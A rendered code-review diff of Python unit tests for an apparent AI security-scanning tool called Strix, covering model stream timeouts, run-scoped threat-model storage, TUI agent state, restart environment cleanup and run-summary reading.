client = AsyncOpenAI(api_key="tok", base_url=base_url, max_retries=0, timeout=_STALL_SECONDS)
|
||||
inner: Model = OpenAIChatCompletionsModel(model="gw-model", openai_client=client)
|
||||
guarded = _TurnGuardModel(
|
||||
inner,
|
||||
stream_idle_timeout=idle_timeout,
|
||||
stream_first_event_timeout=first_event_timeout,
|
||||
)
|
||||
guarded = _TurnGuardModel(inner, stream_idle_timeout=idle_timeout)
|
||||
return guarded.stream_response(
|
||||
None,
|
||||
"go",
|
||||
@@ -142,20 +96,8 @@ def _stream(
|
||||
)
|
||||
|
||||
|
||||
async def _drain(
|
||||
base_url: str,
|
||||
*,
|
||||
idle_timeout: float,
|
||||
first_event_timeout: float = 0.0,
|
||||
) -> list[Any]:
|
||||
return [
|
||||
event
|
||||
async for event in _stream(
|
||||
base_url,
|
||||
idle_timeout=idle_timeout,
|
||||
first_event_timeout=first_event_timeout,
|
||||
)
|
||||
]
|
||||
async def _drain(base_url: str, *, idle_timeout: float) -> list[Any]:
|
||||
return [event async for event in _stream(base_url, idle_timeout=idle_timeout)]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@@ -175,33 +117,6 @@ async def test_stalled_stream_is_abandoned_by_the_watchdog(stalling_gateway: str
|
||||
assert time.monotonic() - started < _STALL_SECONDS
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_first_event_timeout_abandons_silent_stream(
|
||||
first_event_stalling_gateway: str,
|
||||
) -> None:
|
||||
started = time.monotonic()
|
||||
with pytest.raises(ModelStreamTimeoutError, match="no first event within 1s"):
|
||||
await _drain(
|
||||
first_event_stalling_gateway,
|
||||
idle_timeout=10,
|
||||
first_event_timeout=1,
|
||||
)
|
||||
|
||||
assert time.monotonic() - started < _STALL_SECONDS
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_first_event_timeout_does_not_replace_idle_timeout(
|
||||
stalling_gateway: str,
|
||||
) -> None:
|
||||
with pytest.raises(ModelStreamTimeoutError, match="produced no event for 1s"):
|
||||
await _drain(
|
||||
stalling_gateway,
|
||||
idle_timeout=1,
|
||||
first_event_timeout=10,
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_events_keep_flowing_while_the_stream_is_alive() -> None:
|
||||
async def _live() -> AsyncIterator[Any]:
|
||||
@@ -216,12 +131,7 @@ async def test_events_keep_flowing_while_the_stream_is_alive() -> None:
|
||||
|
||||
@pytest.fixture
|
||||
def _reset_settings(monkeypatch: pytest.MonkeyPatch) -> Iterator[None]:
|
||||
for key in (
|
||||
"STRIX_LLM",
|
||||
"LLM_DISABLE_STREAMING",
|
||||
"LLM_STREAM_IDLE_TIMEOUT",
|
||||
"LLM_STREAM_FIRST_EVENT_TIMEOUT",
|
||||
):
|
||||
for key in ("STRIX_LLM", "LLM_DISABLE_STREAMING", "LLM_STREAM_IDLE_TIMEOUT"):
|
||||
monkeypatch.delenv(key, raising=False)
|
||||
monkeypatch.setattr(loader, "_cached", None)
|
||||
monkeypatch.setattr(loader, "_override", None)
|
||||
@@ -246,20 +156,6 @@ def test_idle_timeout_is_configurable(
|
||||
model = StrixProvider().get_model("openai/gpt-4o-mini")
|
||||
assert isinstance(model, _TurnGuardModel)
|
||||
assert model._stream_idle_timeout == 45
|
||||
assert model._stream_first_event_timeout == 0
|
||||
|
||||
|
||||
def test_first_event_timeout_is_configurable(
|
||||
monkeypatch: pytest.MonkeyPatch, _reset_settings: None
|
||||
) -> None:
|
||||
monkeypatch.setattr("strix.config.models.MultiProvider.get_model", lambda *_: _DummyModel())
|
||||
monkeypatch.setenv("LLM_STREAM_IDLE_TIMEOUT", "45")
|
||||
monkeypatch.setenv("LLM_STREAM_FIRST_EVENT_TIMEOUT", "12")
|
||||
load_settings()
|
||||
|
||||
model = StrixProvider().get_model("openai/gpt-4o-mini")
|
||||
assert isinstance(model, _TurnGuardModel)
|
||||
assert model._stream_first_event_timeout == 12
|
||||
|
||||
|
||||
def test_idle_timeout_is_off_without_streaming(
|
||||
@@ -275,4 +171,3 @@ def test_idle_timeout_is_off_without_streaming(
|
||||
model = StrixProvider().get_model("openai/gpt-4o-mini")
|
||||
assert isinstance(model, _TurnGuardModel)
|
||||
assert model._stream_idle_timeout == 0
|
||||
assert model._stream_first_event_timeout == 0
|
||||
|
||||
@@ -1,10 +1,8 @@
|
||||
"""Tests for the target-scoped threat model cache."""
|
||||
"""Tests for the run-scoped threat model store."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import subprocess
|
||||
from datetime import UTC, datetime, timedelta
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
import pytest
|
||||
@@ -17,6 +15,7 @@ from strix.tools.threat_model.tools import (
|
||||
_save_impl,
|
||||
amend_threat_model,
|
||||
get_threat_model,
|
||||
hydrate_threat_models_from_disk,
|
||||
save_threat_model,
|
||||
)
|
||||
|
||||
@@ -64,8 +63,10 @@ def _make_repo(tmp_path: Path, name: str = "repo") -> Path:
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _isolated_cache(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
monkeypatch.setattr(threat_model_tools, "_CACHE_DIR", tmp_path / "cache")
|
||||
def _empty_store() -> None:
|
||||
"""Each test is its own run, so it starts with an empty, unmirrored store."""
|
||||
threat_model_tools._MODELS.clear()
|
||||
threat_model_tools._store_path = None
|
||||
|
||||
|
||||
def test_missing_model_reports_not_found(tmp_path: Path) -> None:
|
||||
@@ -85,11 +86,53 @@ def test_saved_model_round_trips(tmp_path: Path) -> None:
|
||||
result = _get_impl(str(repo))
|
||||
|
||||
assert result["found"] is True
|
||||
assert result["stale"] is False
|
||||
assert "multi-tenant billing API" in result["content"]
|
||||
|
||||
|
||||
def test_model_is_stale_after_new_revision(tmp_path: Path) -> None:
|
||||
def test_nothing_is_written_outside_the_run(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
"""The model must not outlive the scan, so nothing may land in the home dir."""
|
||||
home = tmp_path / "home"
|
||||
home.mkdir()
|
||||
monkeypatch.setenv("HOME", str(home))
|
||||
repo = _make_repo(tmp_path)
|
||||
|
||||
_save_impl(str(repo), _MODEL, "root")
|
||||
_amend_impl(str(repo), _ADDENDUM, "agent-a")
|
||||
|
||||
assert list(home.rglob("*")) == []
|
||||
|
||||
|
||||
def test_a_new_run_starts_without_the_model(tmp_path: Path) -> None:
|
||||
"""A later scan of the same target inherits nothing from this one."""
|
||||
repo = _make_repo(tmp_path)
|
||||
hydrate_threat_models_from_disk(tmp_path / "first-run")
|
||||
_save_impl(str(repo), _MODEL, "root")
|
||||
|
||||
hydrate_threat_models_from_disk(tmp_path / "second-run") # a different scan
|
||||
|
||||
assert _get_impl(str(repo))["found"] is False
|
||||
|
||||
|
||||
def test_resuming_the_same_run_keeps_the_model(tmp_path: Path) -> None:
|
||||
"""A resumed scan is the same scan, so its agents keep the shared baseline."""
|
||||
state_dir = tmp_path / "state"
|
||||
repo = _make_repo(tmp_path)
|
||||
hydrate_threat_models_from_disk(state_dir)
|
||||
_save_impl(str(repo), _MODEL, "root")
|
||||
_amend_impl(str(repo), _ADDENDUM, "agent-a")
|
||||
|
||||
threat_model_tools._MODELS.clear() # what the resuming process starts from
|
||||
hydrate_threat_models_from_disk(state_dir)
|
||||
|
||||
result = _get_impl(str(repo))
|
||||
assert result["found"] is True
|
||||
assert [a["content"] for a in result["amendments"]] == [_ADDENDUM]
|
||||
|
||||
|
||||
def test_model_survives_a_new_revision_within_the_run(tmp_path: Path) -> None:
|
||||
"""The model is not pinned to a revision; a commit mid-run does not drop it."""
|
||||
repo = _make_repo(tmp_path)
|
||||
_save_impl(str(repo), _MODEL, None)
|
||||
|
||||
@@ -100,11 +143,10 @@ def test_model_is_stale_after_new_revision(tmp_path: Path) -> None:
|
||||
result = _get_impl(str(repo))
|
||||
|
||||
assert result["found"] is True
|
||||
assert result["stale"] is True
|
||||
assert result["content"]
|
||||
assert "multi-tenant billing API" in result["content"]
|
||||
|
||||
|
||||
def test_cache_is_keyed_per_repository(tmp_path: Path) -> None:
|
||||
def test_store_is_keyed_per_repository(tmp_path: Path) -> None:
|
||||
first = _make_repo(tmp_path, "first")
|
||||
second = _make_repo(tmp_path, "second")
|
||||
_save_impl(str(first), _MODEL, None)
|
||||
@@ -218,8 +260,6 @@ def test_blackbox_target_round_trips() -> None:
|
||||
result = _get_impl(target)
|
||||
|
||||
assert result["found"] is True
|
||||
assert result["stale"] is False, "a fresh model with no revision is not stale"
|
||||
assert result["revision"] == "unversioned"
|
||||
assert "Inferred from recon" in result["content"]
|
||||
|
||||
|
||||
@@ -232,22 +272,6 @@ def test_blackbox_target_spellings_share_one_model() -> None:
|
||||
assert _get_impl("https://other.example.com")["found"] is False
|
||||
|
||||
|
||||
def test_blackbox_model_goes_stale_with_age() -> None:
|
||||
target = "https://app.example.com"
|
||||
_save_impl(target, _BLACKBOX_MODEL, "recon")
|
||||
|
||||
aged = (datetime.now(UTC) - timedelta(days=threat_model_tools._MAX_AGE_DAYS + 1)).isoformat()
|
||||
path = threat_model_tools._cache_path("app.example.com:443")
|
||||
payload = json.loads(path.read_text(encoding="utf-8"))
|
||||
payload["created_at"] = aged
|
||||
path.write_text(json.dumps(payload), encoding="utf-8")
|
||||
|
||||
result = _get_impl(target)
|
||||
|
||||
assert result["stale"] is True
|
||||
assert "re-confirm" in result["message"]
|
||||
|
||||
|
||||
def test_blackbox_target_can_be_amended() -> None:
|
||||
target = "https://app.example.com"
|
||||
_save_impl(target, _BLACKBOX_MODEL, "recon")
|
||||
|
||||
@@ -12,6 +12,16 @@ from strix.config.settings import DEFAULT_MAX_TURNS
|
||||
from strix.interface.tui.backend.controller import TuiController
|
||||
|
||||
|
||||
class _SendingCoordinator:
|
||||
def __init__(self, delivered: bool = True) -> None:
|
||||
self.delivered = delivered
|
||||
self.messages: list[tuple[str, dict[str, object]]] = []
|
||||
|
||||
async def send(self, agent_id: str, message: dict[str, object]) -> bool:
|
||||
self.messages.append((agent_id, message))
|
||||
return self.delivered
|
||||
|
||||
|
||||
def args() -> argparse.Namespace:
|
||||
return argparse.Namespace(
|
||||
needs_setup=True,
|
||||
@@ -61,6 +71,25 @@ async def test_setup_state_is_serializable() -> None:
|
||||
assert snapshot["diff_base"] is None
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_connections_snapshot_reflects_the_pushed_mcp_roster() -> None:
|
||||
controller = TuiController(args())
|
||||
# A run with no MCP connections carries an empty roster, so the sidebar
|
||||
# omits the panel entirely.
|
||||
assert controller.snapshot()["connections"] == []
|
||||
|
||||
controller.set_mcp_connections(
|
||||
[
|
||||
{"name": "supabase", "tool_count": 3, "dead": False},
|
||||
{"name": "vercel", "tool_count": 1, "dead": True},
|
||||
]
|
||||
)
|
||||
assert controller.snapshot()["connections"] == [
|
||||
{"name": "supabase", "tool_count": 3, "dead": False},
|
||||
{"name": "vercel", "tool_count": 1, "dead": True},
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_setup_instruction_starts_from_cli_and_can_be_cleared() -> None:
|
||||
setup_args = args()
|
||||
@@ -294,6 +323,34 @@ def test_snapshot_exposes_working_directory() -> None:
|
||||
assert controller.snapshot()["pending_mount"] == ""
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_user_message_updates_live_agent_projection_immediately() -> None:
|
||||
coordinator = _SendingCoordinator()
|
||||
controller = TuiController(args(), coordinator=coordinator)
|
||||
controller.setup_mode = False
|
||||
controller.scan_started = True
|
||||
controller.scan_loop = asyncio.get_running_loop()
|
||||
controller.live_view.upsert_agent(
|
||||
"root",
|
||||
name="Strix",
|
||||
status="failed",
|
||||
error_message="provider rejected request",
|
||||
)
|
||||
|
||||
result = await controller.handle(
|
||||
"agent.send_message",
|
||||
{"agent_id": "root", "message": "try again"},
|
||||
)
|
||||
|
||||
assert result == {"sent": True}
|
||||
assert coordinator.messages == [
|
||||
("root", {"from": "user", "content": "try again", "type": "instruction"})
|
||||
]
|
||||
agent = controller.live_view.agents["root"]
|
||||
assert agent["status"] == "waiting"
|
||||
assert "error_message" not in agent
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_start_forwards_verify_flag_by_default() -> None:
|
||||
seen_verify: bool | None = None
|
||||
|
||||
@@ -243,13 +243,15 @@ def test_defensive_state_projection_preserves_usage_summary() -> None:
|
||||
),
|
||||
)
|
||||
state = controller.snapshot()
|
||||
state["provider"] = None
|
||||
state["pending_mount"] = "current-project"
|
||||
state["future_oversized_field"] = "x" * 100_000
|
||||
|
||||
snapshot = bounded_state_projection(state)
|
||||
|
||||
assert snapshot["projection_truncated"] is True
|
||||
assert snapshot["usage"] == {"total_tokens": 720_400, "cost": 20.0}
|
||||
assert snapshot["working_dir"] == state["working_dir"]
|
||||
assert snapshot["pending_mount"] == "current-project"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
|
||||
@@ -104,6 +104,29 @@ def test_resume_hides_system_guidance_injected_as_user_turns(tmp_path: Path) ->
|
||||
] == ["starting", "continuing"]
|
||||
|
||||
|
||||
def test_resume_hydrates_saved_agent_errors(tmp_path: Path) -> None:
|
||||
run_dir = tmp_path / "run"
|
||||
state_dir = runtime_state_dir(run_dir)
|
||||
state_dir.mkdir(parents=True, exist_ok=True)
|
||||
(state_dir / "agents.json").write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"statuses": {"root": "failed"},
|
||||
"names": {"root": "Strix"},
|
||||
"parent_of": {"root": None},
|
||||
"errors": {"root": "provider rejected request"},
|
||||
}
|
||||
),
|
||||
encoding="utf-8",
|
||||
)
|
||||
|
||||
view = GoTuiLiveView()
|
||||
view.hydrate_from_run_dir(run_dir)
|
||||
|
||||
assert view.agents["root"]["status"] == "failed"
|
||||
assert view.agents["root"]["error_message"] == "provider rejected request"
|
||||
|
||||
|
||||
def test_resume_keeps_messages_the_user_actually_typed(tmp_path: Path) -> None:
|
||||
run_dir = tmp_path / "run"
|
||||
_write_run(
|
||||
|
||||
@@ -153,6 +153,33 @@ def test_self_update_already_latest(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
assert update_check.self_update() is True
|
||||
|
||||
|
||||
def test_restart_env_strips_pyinstaller_vars(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
monkeypatch.setenv("_MEIPASS2", "/stale/_MEIold")
|
||||
monkeypatch.setenv("_PYI_APPLICATION_HOME_DIR", "/stale/_MEIold")
|
||||
monkeypatch.setenv("_PYI_ARCHIVE_FILE", "/old/strix")
|
||||
monkeypatch.setenv("_PYI_PARENT_PROCESS_LEVEL", "1")
|
||||
monkeypatch.setenv("SOME_OTHER_VAR", "kept")
|
||||
|
||||
env = update_check.restart_env()
|
||||
|
||||
assert "SOME_OTHER_VAR" in env
|
||||
assert "_MEIPASS2" not in env
|
||||
assert not any(key.startswith("_PYI_") for key in env)
|
||||
|
||||
|
||||
def test_restart_env_restores_library_paths(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
monkeypatch.setenv("LD_LIBRARY_PATH", "/stale/_MEIold/lib")
|
||||
monkeypatch.setenv("LD_LIBRARY_PATH_ORIG", "/usr/lib/custom")
|
||||
monkeypatch.setenv("DYLD_LIBRARY_PATH", "/stale/_MEIold/lib")
|
||||
monkeypatch.delenv("DYLD_LIBRARY_PATH_ORIG", raising=False)
|
||||
|
||||
env = update_check.restart_env()
|
||||
|
||||
assert env["LD_LIBRARY_PATH"] == "/usr/lib/custom"
|
||||
assert "LD_LIBRARY_PATH_ORIG" not in env
|
||||
assert "DYLD_LIBRARY_PATH" not in env
|
||||
|
||||
|
||||
def test_sha256_file(tmp_path: Path) -> None:
|
||||
path = tmp_path / "blob"
|
||||
path.write_bytes(b"strix")
|
||||
|
||||
@@ -96,6 +96,25 @@ def test_read_run_summary_finished_flag(tmp_path: Path) -> None:
|
||||
assert read_run_summary(partial)["finished"] is False
|
||||
|
||||
|
||||
def test_read_run_summary_surfaces_mcp_connection_status(tmp_path: Path) -> None:
|
||||
"""The engine persists the non-secret MCP roster under mcp_connection_status;
|
||||
read_run_summary spreads the whole record, so /api/run carries it to the
|
||||
viewer verbatim."""
|
||||
run_dir = _make_run(tmp_path, "mcp", status="running", end_time=None)
|
||||
roster = [
|
||||
{"name": "local_fs", "provider": None, "tool_count": 3, "dead": False},
|
||||
{"name": "db", "provider": "supabase", "tool_count": 7, "dead": True},
|
||||
]
|
||||
record = {
|
||||
"run_name": "mcp",
|
||||
"status": "running",
|
||||
"end_time": None,
|
||||
"mcp_connection_status": roster,
|
||||
}
|
||||
(run_dir / "run.json").write_text(json.dumps(record), encoding="utf-8")
|
||||
assert read_run_summary(run_dir)["mcp_connection_status"] == roster
|
||||
|
||||
|
||||
def test_read_missing_artifacts_return_defaults(tmp_path: Path) -> None:
|
||||
run_dir = _make_run(tmp_path, "empty", status="running", end_time=None)
|
||||
assert read_vulnerabilities(run_dir) == []
|
||||
|
||||
Reference in New Issue
Block a user